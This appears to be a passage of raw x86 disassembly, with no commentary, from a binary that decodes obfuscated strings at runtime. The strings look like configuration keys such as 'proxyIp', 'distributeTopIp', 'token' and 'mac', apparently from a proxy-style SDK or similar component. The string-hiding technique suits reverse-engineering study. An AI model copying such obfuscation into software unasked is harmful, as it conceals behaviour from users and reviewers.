mov dh, 0x7f
mov byte [ebp - 4], 0xc0
mov al, cl
xor al, dl
mov byte [ebp - 0x29e], 0
mov byte [ebp - 0x2a4], al
mov al, cl
xor al, ah
mov byte [ebp - 0x2a3], al
mov al, cl
xor al, ch
mov byte [ebp - 0x2a2], al
mov al, cl
xor al, dh
mov byte [ebp - 0x2a1], al
mov al, cl
xor al, byte [ebp - 0x2a7]
xor cl, byte [ebp - 0x2a6]
mov byte [ebp - 0x2a0], al
lea eax, [ebp - 0x2a4]
mov dword [ebp - 0x11dc], eax
lea eax, [ebp - 0x11dc]
mov byte [ebp - 0x29f], cl
lea ecx, [ebp - 0x1088]
push eax
call fcn.1004b080
mov dword [ebp - 0x10b0], 0
lea edx, [ebp - 0x10b0]
mov ecx, eax
call fcn.100524f0
mov eax, dword [ebp - 0x10b0]
lea ecx, [ebp - 0x1440]
mov dword [ebp - 0x11d8], eax
lea eax, [ebp - 0x11d8]
push eax
call fcn.1004ace0
mov dword [ebp - 0x1430], 0
lea eax, [ebp - 0x1428]
mov byte [ebp - 4], 0xc2
lea ecx, [ebp - 0x1458]
push eax
push ecx
lea ecx, [ebp - 0x1018]
call fcn.10048f40
mov cl, 0x15
mov dword [ebp - 0x368], 0x657a6115
mov dl, 0x61
mov word [ebp - 0x364], 0x655c
mov ah, 0x7a
mov byte [ebp - 0x362], 0
mov ch, 0x65
mov dh, 0x5c
mov byte [ebp - 4], 0xc4
mov al, cl
xor al, dl
mov byte [ebp - 0x35c], 0
mov byte [ebp - 0x361], al
mov al, cl
xor al, ah
mov byte [ebp - 0x360], al
mov al, cl
xor al, ch
mov byte [ebp - 0x35f], al
mov al, cl
xor cl, byte [ebp - 0x363]
xor al, dh
mov byte [ebp - 0x35e], al
lea eax, [ebp - 0x361]
mov dword [ebp - 0x11d4], eax
lea eax, [ebp - 0x11d4]
mov byte [ebp - 0x35d], cl
lea ecx, [ebp - 0x1428]
push eax
call fcn.1004eda0
mov dword [ebp - 0x1418], 0
cmp byte [ebp - 0x1061], 0
mov byte [ebp - 4], 0xc5
push 0
je 0x10046b9e
push 0x70
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 0x1f8], 0x39
call fcn.10048a10
push 1
push 0x72
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 0x1f7], al
call fcn.10048a10
push 2
push 0x6f
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 0x1f6], al
call fcn.10048a10
push 3
push 0x78
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 0x1f5], al
call fcn.10048a10
push 4
push 0x79
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 0x1f4], al
call fcn.10048a10
push 5
push 0x49
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 0x1f3], al
call fcn.10048a10
push 6
push 0x70
lea ecx, [ebp - 0x1f8]
mov byte [ebp - 0x1f2], al
call fcn.10048a10
mov byte [ebp - 0x1f1], al
mov byte [ebp - 0x1f0], 0
or edi, 0x10
mov byte [ebp - 4], 0xc6
mov dword [ebp - 0x1054], edi
xor esi, esi
push esi
lea ecx, [ebp - 0x1f7]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x1f8]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x1ef]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x10046b12
push 7
lea ecx, [ebp - 0x1ef]
call fcn.1000d870
lea ecx, [ebp - 0x1ef]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11d0], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x11d0]
push eax
call fcn.1004b080
lea ecx, [ebp - 0xc88]
push ecx
mov ecx, eax
call fcn.1005b770
mov dword [ebp - 4], 0xc7
or edi, 0x20
jmp 0x10046cba
push 0x74
lea ecx, [ebp - 0x114]
mov byte [ebp - 0x114], 0x5c
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x114]
mov byte [ebp - 0x113], al
call fcn.10048a10
push 2
push 0x70
lea ecx, [ebp - 0x114]
mov byte [ebp - 0x112], al
call fcn.10048a10
push 3
push 0x49
lea ecx, [ebp - 0x114]
mov byte [ebp - 0x111], al
call fcn.10048a10
push 4
push 0x70
lea ecx, [ebp - 0x114]
mov byte [ebp - 0x110], al
call fcn.10048a10
mov byte [ebp - 0x10f], al
mov byte [ebp - 0x10e], 0
or edi, 0x40
mov dword [ebp - 4], 0xc8
mov dword [ebp - 0x1054], edi
xor esi, esi
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x113]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x114]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x10d]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x10046c30
push 5
lea ecx, [ebp - 0x10d]
call fcn.1000d870
lea ecx, [ebp - 0x10d]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11cc], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x11cc]
push eax
call fcn.1004b080
lea ecx, [ebp - 0xe50]
push ecx
mov ecx, eax
call fcn.1005b770
mov dword [ebp - 4], 0xc9
or edi, 0x80
push eax
lea ecx, [ebp - 0x1410]
mov dword [ebp - 0x1054], edi
call fcn.1004a840
mov dword [ebp - 0x1400], 0
lea eax, [ebp - 0x13f8]
mov dword [ebp - 4], 0xce
lea ecx, [ebp - 0x1428]
push eax
push ecx
lea ecx, [ebp - 0x1000]
call fcn.10048f40
mov dword [ebp - 0x89c], 0x544c4723
mov dword [ebp - 0x898], 0x536a4d
mov byte [ebp - 4], 0xd0
xor esi, esi
push esi
lea ecx, [ebp - 0x89b]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x89c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x894]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x10046d10
push 6
lea ecx, [ebp - 0x894]
call fcn.1000d870
lea ecx, [ebp - 0x894]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11c8], eax
lea ecx, [ebp - 0x1690]
lea eax, [ebp - 0x11c8]
push eax
call fcn.1004b170
cmp byte [ebp - 0x1061], 0
mov byte [ebp - 4], 0xd1
push 0
je 0x10046ed2
push 0x70
lea ecx, [ebp - 0x284]
mov byte [ebp - 0x284], 0x55
call fcn.10048a10
push 1
push 0x72
lea ecx, [ebp - 0x284]
mov byte [ebp - 0x283], al
call fcn.10048a10
push 2
push 0x6f
lea ecx, [ebp - 0x284]
mov byte [ebp - 0x282], al
call fcn.10048a10
push 3
push 0x78
lea ecx, [ebp - 0x284]
mov byte [ebp - 0x281], al
call fcn.10048a10
push 4
push 0x79
lea ecx, [ebp - 0x284]
mov byte [ebp - 0x280], al
call fcn.10048a10
push 5
push 0x49
lea ecx, [ebp - 0x284]
mov byte [ebp - 0x27f], al
call fcn.10048a10
push 6
push 0x70
lea ecx, [ebp - 0x284]
mov byte [ebp - 0x27e], al
call fcn.10048a10
mov byte [ebp - 0x27d], al
mov byte [ebp - 0x27c], 0
or edi, 0x100
mov byte [ebp - 4], 0xd2
mov dword [ebp - 0x1054], edi
xor esi, esi
push esi
lea ecx, [ebp - 0x283]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x284]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x27b]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x10046e43
push 7
lea ecx, [ebp - 0x27b]
call fcn.1000d870
lea ecx, [ebp - 0x27b]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11c4], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x11c4]
push eax
call fcn.1004b080
lea ecx, [ebp - 0xe38]
push ecx
mov ecx, eax
call fcn.1005b770
mov dword [ebp - 4], 0xd3
or edi, 0x200
jmp 0x10046ffb
push 0x64
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 0x1bc], 0x7c
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 0x1bb], al
call fcn.10048a10
push 2
push 0x77
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 0x1ba], al
call fcn.10048a10
push 3
push 0x6e
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 0x1b9], al
call fcn.10048a10
push 4
push 0x49
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 0x1b8], al
call fcn.10048a10
push 5
push 0x70
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 0x1b7], al
call fcn.10048a10
mov byte [ebp - 0x1b6], al
mov byte [ebp - 0x1b5], 0
or edi, 0x400
mov dword [ebp - 4], 0xd4
mov dword [ebp - 0x1054], edi
xor esi, esi
push esi
lea ecx, [ebp - 0x1bb]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x1bc]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x1b4]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x10046f71
push 6
lea ecx, [ebp - 0x1b4]
call fcn.1000d870
lea ecx, [ebp - 0x1b4]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11c0], eax
lea ecx, [ebp - 0x1088]
lea eax, [ebp - 0x11c0]
push eax
call fcn.1004b080
lea ecx, [ebp - 0xe20]
push ecx
mov ecx, eax
call fcn.1005b770
mov dword [ebp - 4], 0xd5
or edi, 0x800
push eax
lea ecx, [ebp - 0x1678]
mov dword [ebp - 0x1054], edi
mov dword [ebp - 0x1050], edi
call fcn.1004a8c0
lea eax, [ebp - 0x1660]
mov dword [ebp - 4], 0xda
push eax
lea eax, [ebp - 0x1690]
push eax
lea ecx, [ebp - 0x14a8]
call fcn.10048f70
lea ecx, [ebp - 0xfe8]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
push 0
mov byte [ebp - 4], 0xdb
lea ecx, [ebp - 0x5cc]
push 0x64
mov byte [ebp - 0x5cc], 0x13
call fcn.10048a10
push 1
push 0x69
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5cb], al
call fcn.10048a10
push 2
push 0x73
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5ca], al
call fcn.10048a10
push 3
push 0x74
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5c9], al
call fcn.10048a10
push 4
push 0x72
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5c8], al
call fcn.10048a10
push 5
push 0x69
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5c7], al
call fcn.10048a10
push 6
push 0x62
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5c6], al
call fcn.10048a10
push 7
push 0x75
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5c5], al
call fcn.10048a10
push 8
push 0x74
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5c4], al
call fcn.10048a10
push 9
push 0x65
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5c3], al
call fcn.10048a10
push 0xa
push 0x54
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5c2], al
call fcn.10048a10
push 0xb
mov byte [ebp - 0x5c1], al
push 0x6f
lea ecx, [ebp - 0x5cc]
call fcn.10048a10
push 0xc
push 0x70
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5c0], al
call fcn.10048a10
push 0xd
push 0x49
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5bf], al
call fcn.10048a10
push 0xe
push 0x70
lea ecx, [ebp - 0x5cc]
mov byte [ebp - 0x5be], al
call fcn.10048a10
mov byte [ebp - 0x5bd], al
mov byte [ebp - 0x5bc], 0
mov byte [ebp - 4], 0xdc
xor esi, esi
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x5cb]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x5cc]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x5bb]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0xf
jb 0x100471a0
push 0xf
lea ecx, [ebp - 0x5bb]
call fcn.1000d870
lea ecx, [ebp - 0x5bb]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11bc], eax
lea ecx, [ebp - 0x1660]
lea eax, [ebp - 0x11bc]
push eax
call fcn.1004b170
lea eax, [ebp - 0x9a8]
mov byte [ebp - 4], 0xdd
push eax
lea ecx, [ebp - 0x1648]
call fcn.1004b1f0
lea eax, [ebp - 0x1630]
mov byte [ebp - 4], 0xde
push eax
lea eax, [ebp - 0x1660]
push eax
lea ecx, [ebp - 0x14a0]
call fcn.10048f70
lea ecx, [ebp - 0xfd0]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
push 0
mov byte [ebp - 4], 0xdf
lea ecx, [ebp - 0x680]
push 0x64
mov byte [ebp - 0x680], 0x44
call fcn.10048a10
push 1
push 0x69
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x67f], al
call fcn.10048a10
push 2
push 0x73
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x67e], al
call fcn.10048a10
push 3
push 0x74
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x67d], al
call fcn.10048a10
push 4
push 0x72
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x67c], al
call fcn.10048a10
push 5
push 0x69
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x67b], al
call fcn.10048a10
push 6
push 0x62
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x67a], al
call fcn.10048a10
push 7
push 0x75
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x679], al
call fcn.10048a10
push 8
push 0x74
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x678], al
call fcn.10048a10
push 9
push 0x65
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x677], al
call fcn.10048a10
push 0xa
push 0x44
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x676], al
call fcn.10048a10
push 0xb
push 0x6f
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x675], al
call fcn.10048a10
push 0xc
push 0x77
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x674], al
call fcn.10048a10
push 0xd
push 0x6e
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x673], al
call fcn.10048a10
push 0xe
push 0x49
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x672], al
call fcn.10048a10
push 0xf
push 0x70
lea ecx, [ebp - 0x680]
mov byte [ebp - 0x671], al
call fcn.10048a10
mov byte [ebp - 0x670], al
mov byte [ebp - 0x66f], 0
mov byte [ebp - 4], 0xe0
xor esi, esi
nop word [eax + eax]
push esi
lea ecx, [ebp - 0x67f]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x680]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x66e]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0x10
jb 0x100473c0
push 0x10
lea ecx, [ebp - 0x66e]
call fcn.1000d870
lea ecx, [ebp - 0x66e]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11b8], eax
lea ecx, [ebp - 0x1630]
lea eax, [ebp - 0x11b8]
push eax
call fcn.1004b170
lea eax, [ebp - 0xa5c]
mov byte [ebp - 4], 0xe1
push eax
lea ecx, [ebp - 0x1618]
call fcn.1004b1f0
lea eax, [ebp - 0x1600]
mov byte [ebp - 4], 0xe2
push eax
lea eax, [ebp - 0x1630]
push eax
lea ecx, [ebp - 0x1498]
call fcn.10048f70
lea ecx, [ebp - 0xfb8]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
push 0
mov byte [ebp - 4], 0xe3
lea ecx, [ebp - 0x398]
push 0x73
mov byte [ebp - 0x398], 0x6e
call fcn.10048a10
push 1
push 0x64
lea ecx, [ebp - 0x398]
mov byte [ebp - 0x397], al
call fcn.10048a10
push 2
push 0x6b
lea ecx, [ebp - 0x398]
mov byte [ebp - 0x396], al
call fcn.10048a10
push 3
push 0x56
lea ecx, [ebp - 0x398]
mov byte [ebp - 0x395], al
call fcn.10048a10
push 4
push 0x65
lea ecx, [ebp - 0x398]
mov byte [ebp - 0x394], al
call fcn.10048a10
push 5
push 0x72
lea ecx, [ebp - 0x398]
mov byte [ebp - 0x393], al
call fcn.10048a10
push 6
push 0x73
lea ecx, [ebp - 0x398]
mov byte [ebp - 0x392], al
call fcn.10048a10
push 7
push 0x69
lea ecx, [ebp - 0x398]
mov byte [ebp - 0x391], al
call fcn.10048a10
push 8
push 0x6f
lea ecx, [ebp - 0x398]
mov byte [ebp - 0x390], al
call fcn.10048a10
push 9
push 0x6e
lea ecx, [ebp - 0x398]
mov byte [ebp - 0x38f], al
call fcn.10048a10
mov byte [ebp - 0x38e], al
mov byte [ebp - 0x38d], 0
mov byte [ebp - 4], 0xe4
xor esi, esi
nop dword [eax]
push esi
lea ecx, [ebp - 0x397]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x398]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x38c]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 0xa
jb 0x10047560
push 0xa
lea ecx, [ebp - 0x38c]
call fcn.1000d870
lea ecx, [ebp - 0x38c]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11b4], eax
lea ecx, [ebp - 0x1600]
lea eax, [ebp - 0x11b4]
push eax
call fcn.1004b170
push 0x100ef384
lea ecx, [ebp - 0x15e8]
mov byte [ebp - 4], 0xe5
call fcn.1004b450
lea eax, [ebp - 0x15d0]
mov byte [ebp - 4], 0xe6
push eax
lea eax, [ebp - 0x1600]
push eax
lea ecx, [ebp - 0x1500]
call fcn.10048f70
lea ecx, [ebp - 0xfa0]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
push 0
mov byte [ebp - 4], 0xe7
lea ecx, [ebp - 0x104]
push 0x74
mov byte [ebp - 0x104], 0x3e
call fcn.10048a10
push 1
push 0x6f
lea ecx, [ebp - 0x104]
mov byte [ebp - 0x103], al
call fcn.10048a10
push 2
push 0x6b
lea ecx, [ebp - 0x104]
mov byte [ebp - 0x102], al
call fcn.10048a10
push 3
push 0x65
lea ecx, [ebp - 0x104]
mov byte [ebp - 0x101], al
call fcn.10048a10
push 4
push 0x6e
lea ecx, [ebp - 0x104]
mov byte [ebp - 0x100], al
call fcn.10048a10
mov byte [ebp - 0xff], al
mov byte [ebp - 0xfe], 0
mov byte [ebp - 4], 0xe8
xor esi, esi
push esi
lea ecx, [ebp - 0x103]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x104]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0xfd]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x10047691
push 5
lea ecx, [ebp - 0xfd]
call fcn.1000d870
lea ecx, [ebp - 0xfd]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11b0], eax
lea ecx, [ebp - 0x15d0]
lea eax, [ebp - 0x11b0]
push eax
call fcn.1004b170
mov ecx, dword [ebp - 0x105c]
lea eax, [ebp - 0xe08]
push eax
mov byte [ebp - 4], 0xe9
call fcn.100381f0
push eax
lea ecx, [ebp - 0x15b8]
mov byte [ebp - 4], 0xea
call fcn.1004a8c0
lea eax, [ebp - 0x15a0]
mov byte [ebp - 4], 0xec
push eax
lea eax, [ebp - 0x15d0]
push eax
lea ecx, [ebp - 0x14f8]
call fcn.10048f70
lea ecx, [ebp - 0xf88]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
push 0
mov byte [ebp - 4], 0xed
lea ecx, [ebp - 0x38]
push 0x6d
mov byte [ebp - 0x38], 0x17
call fcn.10048a10
push 1
push 0x61
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x37], al
call fcn.10048a10
push 2
push 0x63
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x36], al
call fcn.10048a10
mov byte [ebp - 0x35], al
mov byte [ebp - 0x34], 0
mov byte [ebp - 4], 0xee
xor esi, esi
push esi
lea ecx, [ebp - 0x37]
call fcn.1000d870
push esi
lea ecx, [ebp - 0x38]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push esi
lea ecx, [ebp - 0x33]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc esi
mov byte [eax], cl
cmp esi, 3
jb 0x10047792
push 3
lea ecx, [ebp - 0x33]
call fcn.1000d870
lea ecx, [ebp - 0x33]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11ac], eax
lea ecx, [ebp - 0x1780]
lea eax, [ebp - 0x11ac]
push eax
call fcn.1004b170
lea eax, [ebp - 0x11a8]
mov byte [ebp - 4], 0xef
push eax
lea ecx, [ebp - 0x1768]
mov dword [ebp - 0x11a8], str.00_00_00_00_00_00
call fcn.1004b170
lea eax, [ebp - 0x1750]
mov byte [ebp - 4], 0xf0
push eax
lea eax, [ebp - 0x1780]
push eax
lea ecx, [ebp - 0x14f0]
call fcn.10048f70
lea ecx, [ebp - 0xf70]
push dword [eax + 4]
push dword [eax]
call fcn.10048f40
lea eax, [ebp - 0xf58]
mov dword [ebp - 4], 0x10e
push eax
lea eax, [ebp - 0x1048]
push eax
lea ecx, [ebp - 0x1490]
call fcn.10048f70
lea ecx, [ebp - 0x13a8]
push dword [eax + 4]
push dword [eax]
push 2
push 1
call fcn.100492b0
push 0x1003c3f0
push 0xa
push 0x18
lea eax, [ebp - 0x1048]
mov byte [ebp - 4], 0x10
push eax
call fcn.100953e4
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x1780]
mov byte [ebp - 4], 0x11
push eax
call fcn.100953e4
lea ecx, [ebp - 0x37]
call fcn.1000d860
mov dword [eax], 0
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x15d0]
mov byte [ebp - 4], 0x13
push eax
call fcn.100953e4
lea ecx, [ebp - 0xe08]
call fcn.10003210
lea ecx, [ebp - 0x103]
xor esi, esi
call fcn.1000d860
mov dword [eax], esi
mov word [eax + 4], si
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x1600]
mov byte [ebp - 4], 0x16
push eax
call fcn.100953e4
lea ecx, [ebp - 0x397]
call fcn.1000d860
xorps xmm0, xmm0
movq qword [eax], xmm0
mov word [eax + 8], si
mov byte [eax + 0xa], 0
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x1630]
mov byte [ebp - 4], 0x18
push eax
call fcn.100953e4
lea ecx, [ebp - 0x67f]
call fcn.1000d860
xorps xmm0, xmm0
movups xmmword [eax], xmm0
mov byte [eax + 0x10], 0
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x1660]
mov byte [ebp - 4], 0x1a
push eax
call fcn.100953e4
xorps xmm0, xmm0
movups xmmword [ebp - 0x5cb], xmm0
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x1690]
mov byte [ebp - 4], 0x1c
push eax
call fcn.100953e4
mov eax, dword [ebp - 0x1050]
test eax, 0x800
je 0x100479b6
and eax, 0xfffff7ff
lea ecx, [ebp - 0xe20]
mov dword [ebp - 0x1050], eax
mov dword [ebp - 0x1054], eax
call fcn.10003210
mov eax, dword [ebp - 0x1050]
test eax, 0x400
je 0x100479ea
and eax, 0xfffffbff
lea ecx, [ebp - 0x1bb]
mov dword [ebp - 0x1050], eax
mov dword [ebp - 0x1054], eax
call fcn.1000d860
xor ecx, ecx
mov dword [eax], ecx
mov word [eax + 4], cx
mov byte [eax + 6], cl
mov eax, dword [ebp - 0x1050]
test eax, 0x200
je 0x10047a13
and eax, 0xfffffdff
lea ecx, [ebp - 0xe38]
mov dword [ebp - 0x1050], eax
mov dword [ebp - 0x1054], eax
call fcn.10003210
mov eax, dword [ebp - 0x1050]
test eax, 0x100
je 0x10047a3d
and eax, 0xfffffeff
lea ecx, [ebp - 0x283]
mov dword [ebp - 0x1050], eax
mov dword [ebp - 0x1054], eax
call fcn.1000d860
xorps xmm0, xmm0
movq qword [eax], xmm0
lea ecx, [ebp - 0x89b]
call fcn.1000d860
xor ecx, ecx
mov dword [eax], ecx
mov word [eax + 4], cx
mov byte [eax + 6], cl
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x1428]
mov byte [ebp - 4], 0x22
push eax
call fcn.100953e4
mov eax, dword [ebp - 0x1050]
test al, al
jns 0x10047a92
and eax, 0xffffff7f
lea ecx, [ebp - 0xe50]
mov dword [ebp - 0x1050], eax
call fcn.10003210
mov eax, dword [ebp - 0x1050]
test al, 0x40
je 0x10047ab8
and eax, 0xffffffbf
lea ecx, [ebp - 0x113]
mov dword [ebp - 0x1050], eax
xor esi, esi
call fcn.1000d860
mov dword [eax], esi
mov word [eax + 4], si
mov eax, dword [ebp - 0x1050]
test al, 0x20
je 0x10047ad6
and eax, 0xffffffdf
lea ecx, [ebp - 0xc88]
mov dword [ebp - 0x1050], eax
call fcn.10003210
mov eax, dword [ebp - 0x1050]
test al, 0x10
je 0x10047aec
lea ecx, [ebp - 0x1f7]
call fcn.1000d860
xorps xmm0, xmm0
movq qword [eax], xmm0
lea ecx, [ebp - 0x367]
xor esi, esi
call fcn.1000d860
mov dword [eax], esi
mov word [eax + 4], si
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x1458]
mov byte [ebp - 4], 0x28
push eax
call fcn.100953e4
lea ecx, [ebp - 0x2ab]
call fcn.1000d860
xor ecx, ecx
mov dword [eax], ecx
mov word [eax + 4], cx
mov byte [eax + 6], cl
lea ecx, [ebp - 0x2bb]
call fcn.1000d860
xor ecx, ecx
mov dword [eax], ecx
mov word [eax + 4], cx
mov byte [eax + 6], cl
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x1488]
mov byte [ebp - 4], 0x2b
push eax
call fcn.100953e4
lea ecx, [ebp - 0xbe0]
call fcn.10003210
lea ecx, [ebp - 0x28b]
call fcn.1000d860
xor ecx, ecx
mov word [eax], cx
mov byte [eax + 2], cl
push 0x1003c3f0
push 2
push 0x18
lea eax, [ebp - 0x13f8]
mov byte [ebp - 4], 0x2e
push eax
call fcn.100953e4
lea ecx, [ebp - 0x29b]
mov byte [ebp - 4], 0x2f
call fcn.1000d860
xor ecx, ecx
push ecx
push ecx
mov dword [eax], ecx
mov word [eax + 4], cx
push 0x20
mov byte [eax + 6], cl
lea eax, [ebp - 0xa8c]
push 0xffffffffffffffff
push eax
lea ecx, [ebp - 0x13a8]
call fcn.10048ff0
lea ecx, [ebp - 0xa8c]
mov byte [ebp - 4], 0x30
call fcn.1000c160
lea ecx, [ebp - 0xa8c]
mov esi, eax
call fcn.10008f50
push esi
mov edx, eax
lea ecx, [ebp - 0xca0]
call fcn.10010180
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x31
call fcn.10008f50
mov esi, dword [ebp - 0x1060]
mov ecx, esi
push eax
call fcn.10030b50
lea ecx, [ebp - 0xca0]
mov byte [ebp - 4], 0x30
call fcn.10003210
push 0
push 0x75
lea ecx, [ebp - 0x318]
mov byte [ebp - 0x318], 0x1e
call fcn.10048a10
push 1
push 0x64
lea ecx, [ebp - 0x318]
mov byte [ebp - 0x317], al
call fcn.10048a10
push 2
push 0x70
lea ecx, [ebp - 0x318]
mov byte [ebp - 0x316], al
call fcn.10048a10
push 3
push 0x53
lea ecx, [ebp - 0x318]
mov byte [ebp - 0x315], al
call fcn.10048a10
push 4
push 0x77
lea ecx, [ebp - 0x318]
mov byte [ebp - 0x314], al
call fcn.10048a10
push 5
push 0x69
lea ecx, [ebp - 0x318]
mov byte [ebp - 0x313], al
call fcn.10048a10
push 6
push 0x74
lea ecx, [ebp - 0x318]
mov byte [ebp - 0x312], al
call fcn.10048a10
push 7
push 0x63
lea ecx, [ebp - 0x318]
mov byte [ebp - 0x311], al
call fcn.10048a10
push 8
push 0x68
lea ecx, [ebp - 0x318]
mov byte [ebp - 0x310], al
call fcn.10048a10
mov byte [ebp - 0x30f], al
mov byte [ebp - 0x30e], 0
mov byte [ebp - 4], 0x32
xor edi, edi
nop dword [eax]
push edi
lea ecx, [ebp - 0x317]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x318]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x30d]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 9
jb 0x10047cf0
push 9
lea ecx, [ebp - 0x30d]
call fcn.1000d870
lea ecx, [ebp - 0x30d]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11a4], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x11a4]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b270
movzx eax, al
mov ecx, esi
push eax
call fcn.1005a430
lea ecx, [ebp - 0x317]
mov byte [ebp - 4], 0x30
